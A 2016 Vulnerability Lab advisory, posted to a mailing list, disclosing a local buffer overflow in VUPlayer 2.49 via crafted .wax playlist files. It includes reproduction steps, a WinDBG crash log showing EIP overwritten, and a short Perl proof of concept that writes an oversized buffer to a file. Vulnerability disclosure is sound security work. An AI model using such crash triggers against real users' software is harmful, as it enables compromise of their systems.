Message-ID: <5936ba49-622d-0fae-37cf-ad5de393e9ac@vulnerability-lab.com>
Date: Wed, 27 Jul 2016 10:43:54 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: bugtraq@...urityfocus.com, bugs@...uritytracker.com
Subject: VUPlayer 2.49 - (.wax) Buffer Overflow Vulnerability

Document Title:
===============
VUPlayer 2.49 - (.wax) Buffer Overflow Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1877


Release Date:
=============
2016-07-26


Vulnerability Laboratory ID (VL-ID):
====================================
1877


Common Vulnerability Scoring System:
====================================
6.4


Product & Service Introduction:
===============================
VUPlayer is a freeware multi-format audio player for windows.

(Copy of the Vendor Homepage: http://vuplayer.com/vuplayer.php )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a local buffer overflow vulnerability in the official VUPlayer v2.49 software.


Vulnerability Disclosure Timeline:
==================================
2016-07-26:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
A buffer overflow vulnerability has been discovered in the official VUPlayer v2.49 software.
The vulnerability allows local attackers to overwrite the registers to compromise the local software process.

The classic buffer overflow vulnerability is located in the software VUPlayer. An attacker can manipulate the 
bit EIP register in order to execute the next instruction of their choice. Attackers are able to for example 
execute arbitrary codes with process privileges. The attacker includes a large unicode string to overwrite 
the EIP register of the process. Finally the attacker is able to takeover the process by an overwrite of the 
active program process to compromise the computer system.

The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability 
scoring system) count of 6.4. Exploitation of the vulnerability requires a low privilege or restricted system 
user account without user interaction. Successful exploitation of the vulnerability results in computer system 
manipulation and compromise of the computer system.

Affected Extension(s):
				[+] .wax


Proof of Concept (PoC):
=======================
The buffer overflow vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Launch VUPlayer.exe                
2. Run the code in perl and a file format (.wax) will create
3. Click File - Open a playlist 
4. Select the file (.wax)
5. Software will crash with 
6. Successful reproduce of the local buffer overflow vulnerability!


--- Debug Session Logs [WinDBG] ---
Access violation - code c0000005 
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=022866c4 ecx=41414141 edx=00000000 esi=01640044 edi=0014efa8
eip=41414141 esp=0014ec3c ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
41414141 ??              ???

Note: EIP, EBP & ECX overwritten


PoC : Perl Exploit (*.pl)
#!/usr/bin/perl
my $Buff = "x41" x 1200;
open(MYFILE,'>>File.wax');
print MYFILE $Buff;
close(MYFILE);
print " POC Created by ZwXn";


Security Risk:
==============
The security risk of the local buffer overflow vulnerability in the vuplayer software core is estimated as high. (CVSS 6.4)


Credits & Authors:
==================
ZwX - [http://www.vulnerability-lab.com/show.php?user=ZwX]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, 
including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, 
including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised 
of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing 
limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
Contact:    admin@...nerability-lab.com 	- research@...nerability-lab.com 				- admin@...lution-sec.com
Section:    magazine.vulnerability-lab.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically 
redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or 
its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific 
authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@...nerability-lab.com) to get a ask permission.

				    Copyright © 2016 | Vulnerability Laboratory - [Evolution Security GmbH]™




-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com

Powered by blists - more mailing lists